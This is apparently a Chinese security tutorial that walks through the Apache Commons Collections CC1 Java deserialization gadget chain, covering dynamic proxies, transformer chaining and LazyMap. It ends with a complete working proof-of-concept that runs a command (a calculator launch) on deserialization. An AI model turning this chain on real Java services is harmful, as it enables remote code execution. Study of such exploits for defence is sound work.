java日你妈
利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke()Runtime.exec()
动态代理 CC1中运用到了这部分知识,简单做下介绍
举一个简单的例子,供货商发货给超市,我们去超市买东西。
此时超市就相当于一个代理,我们可以直接去供货商买东西,但一般不这样做。
Java中的代理模式也是一样,我们需要定义一个接口,这个接口不可以直接被实例化,需要通过类去实现这个接口,才可以实现对这个接口中方法的调用。
而动态代理实现了不需要中间商(类),直接“创建”某个接口的实例,对其方法进行调用。
当我们调用某个动态代理对象的方法时,都会触发代理类的invoke方法,并传递对应的内容
Sample:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; public class Test { public static void main(String[] args){ InvocationHandler handler = new InvocationHandler() { public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println(method); if (method.getName().equals("morning")) { System.out.println("Good morning, " + args[0]); } return null; } }; Hello hello = (Hello)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Hello.class},handler); hello.morning("liming"); } }
Hello.java
1 2 3 public interface Hello { void morning(String name); }
这里首先定义了一个handler,通过其实现对类接口的实现
接着定义了一个代理对象Hello,传递三个参数分别为ClassLoader、要代理的接口数组以及调用接口时触发的对应方法。
此时我调用hello.morning,就会触发handler的invoke方法,并传递三个参数进去,分别为proxy即代理对象,method即调用的方法的Method对象,args即传递的参数。
所有的handler都需要实现InvocationHandler这个接口,并实现其invoke方法来实现对接口的调用
利用链分析 先对后半段链进行分析。在commons collections中有一个Transformer接口,其中包含一个transform方法,通过实现此接口来达到类型转换的目的
CC1中主要运用的是以下三个实现了这个借口的类
InvokerTransformer 其transform方法实现了通过反射来调用某方法:
ConstantTransformer 其transform方法将输入原封不动的返回:
ChainedTransformer 其transform方法实现了对每个传入的transformer都调用其transform方法,并将结果作为下一次的输入传递进去:
以上三者结合起来就能实现命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; public class cc1 { public static void main(String[] args){ ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})}); chain.transform(123); } }
首先看下InvokerTransformer的transform方法
1 2 3 4 5 6 7 8 public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs);
接收了一个对象,并接收该对象的方法,方法名,方法所需要的参数类型,以上三者我们都能进行控制,所以可以通过这里进行命令控制
1 2 3 Runtime runtime = Runtime.getRuntime(); Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"}); invoketransformer.transform(runtime);
但是这里要注意Runtime类是没有继承序列化接口的,所以在反序列化后传递进去一个Runtime实例是会报错的,所以这里要使用反射来获取,于是就要想办法把Runtime.getRuntime()这一条件去掉,就到了ConstantTransformer这个类 上面说了,其transform方法是将输入的Object原封不动的返回回去,所以可以这样
1 2 3 Object constantTransformer = new ConstantTransformer(Runtime.getRuntime()).transform(123); Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"}); invoketransformer.transform(constantTransformer);
最终把上面两者搭配ChainedTransformer进行结合
1 2 3 4 5 6 7 8 public void test(){ ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"}) }); chain.transform(123); }
此时只要ChainedTransformer反序列化后调用transform方法并传递任意内容即可实现rce,但是当尝试去序列化的时候,发生了一个问题:
因为这里的Runtime.getRuntime()返回的是一个Runtime的实例,而Runtime并没有继承Serializable,所以这里会序列化失败。
那么我们就需要找到一个方法来获取到Runtime.getRuntime()返回的结果,并将其传入invoketransformer的transform方法中。这就有了上边那条链。
这里通过InvokerTransformer来实现了一次反射,即通过反射来反射,先是调用getMethod方法获取了getRuntime这个Method对象,接着又通过Invoke获取getRuntime的执行结果
这里刚开始看Class[].class以及new Class[0]是不太理解的,去调用getMethod方法查看定义
这里需要传入一个name也就是要调用的方法名,接着需要传递一个可变参数,所以这里的Class[].class,其实就是对应着这里的可变参数,即使我们不需要传递参数,也需要在这里加一个Class[].class,后边再加一个new Class[0]起到占位的作用
梳理下目前构造的链:
1 2 3 4 5 6 7 8 9 10 11 ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})}); chain.transform(123);
目前构造到只需要反序列化后调用transform方法,并传递任意内容即可rce。我们的目的是在调用readObject的时候就触发rce,也就是说我们现在需要找到一个点调用了transform方法(如果能找到在readObject后就调用那是最好的),如果找不到在readObject里调用transform方法,那么就需要找到一条链,在readObject触发起点,接着一步步调用到了transform方法。
cc1里用的是Lazymap#get这个方法:
如果这里的this.factory可控,那么我们就可以通过LazyMap来延长我们的链,下一步就是找哪里调用了get方法了
1 protected final Transformer factory;
这里的factory并没有被transient以及static关键字修饰,所以是我们可控的,并且由于factory是在类初始化时定义的,所以我们可以通过创建LazyMap实例的方式来设置他的值
但是这里的构造方法并不是public的,所以需要通过反射的方式来获取到这个构造方法,再创建其实例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})}); HashMap innermap = new HashMap(); Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap"); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0]; constructor.setAccessible(true); LazyMap map = (LazyMap)constructor.newInstance(innermap,chain); map.get(123); }
接着我们需要找到某个地方调用了get方法,并且传递了任意值。通过学习了上边动态代理的知识,我们可以开始分析cc1的前半段链了
入口时AnnotationInvocationHandler的readObject:
这里的readObject又调用了this.memberValues的entrySet方法。如果这里的memberValues是个代理类,那么就会调用memberValues对应handler的invoke方法,cc1中将handler设置为AnnotationInvocationHandler(其实现了InvocationHandler,所以可以被设置为代理类的handler)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError("Too many parameters for an annotation method"); } else { byte var7 = -1; switch(var4.hashCode()) { case -1776922004: if (var4.equals("toString")) { var7 = 0; } break; case 147696667: if (var4.equals("hashCode")) { var7 = 1; } break; case 1444986633: if (var4.equals("annotationType")) { var7 = 2; } } switch(var7) { case 0: return this.toStringImpl(); case 1: return this.hashCodeImpl(); case 2: return this.type; default: Object var6 = this.memberValues.get(var4);
这里对this.memberValues调用了get方法,如果此时this.memberValues为我们的map,那么就会触发LazyMap#get,从而完成触发rce 完整POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.PredicatedMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map; public class cc1 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})}); HashMap innermap = new HashMap(); Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap"); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0]; constructor.setAccessible(true); Map map = (Map)constructor.newInstance(innermap,chain); Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); handler_constructor.setAccessible(true); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象 Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); AnnotationInvocationHandler_Constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map); try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc1")); outputStream.writeObject(handler); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc1")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } } }
分析一下利用过程: 在readObject时,会触发AnnotationInvocationHandler#readObject方法
此时调用了this.memberValues.entrySet,而this.memberValues是之前构造好的proxy_map,由于这是一个代理对象,所以调用其方法时,会去调用其创建代理时设置的handler的invoke方法
这个proxy_map设置的handler为这个map_handler,同样是InvocationHandler这个类,接着会调用他的invoke方法:
InvocationHandler#invoke的78行代码中调用了this.memberValues#get,此时的this.memberValues为之前设置好的lazymap,所以这里调用的是lazymap#get,从而触发后边的rce链
这里还是比较绕的,因为设置了两个handler,但是第一个handler是为了触发lazymap#get,而第二个handler实际上只是为了触发代理类所设置handler的invoke方法。
接着解释一些细节的问题:
1.为什么这里要用反射的方式来创建AnnotationInvocationHandler的实例?
因为AnnotationInvocationHandler并不是public类,所以无法直接通过new的方式来创建其实例
2.为什么创建其实例时传入的第一个参数是Override.class?
因为在创建实例的时候对传入的第一个参数调用了isAnnotation方法来判断其是否为注解类
1 2 3 public boolean isAnnotation() { return (getModifiers() & ANNOTATION) != 0; }
而Override.class正是java自带的一个注解类,换成其他注解类也行不过推荐是java自带的。
PS 创建lazymap那里其实并不需要用到反射,因为lazymap自带了一个方法来帮助我们创建其实例
所以把上述通过反射来创建LazyMap的实例代码改为如下,也是可以成功的
1 2 HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
p神就是用的该方法进行创建LazyMap实例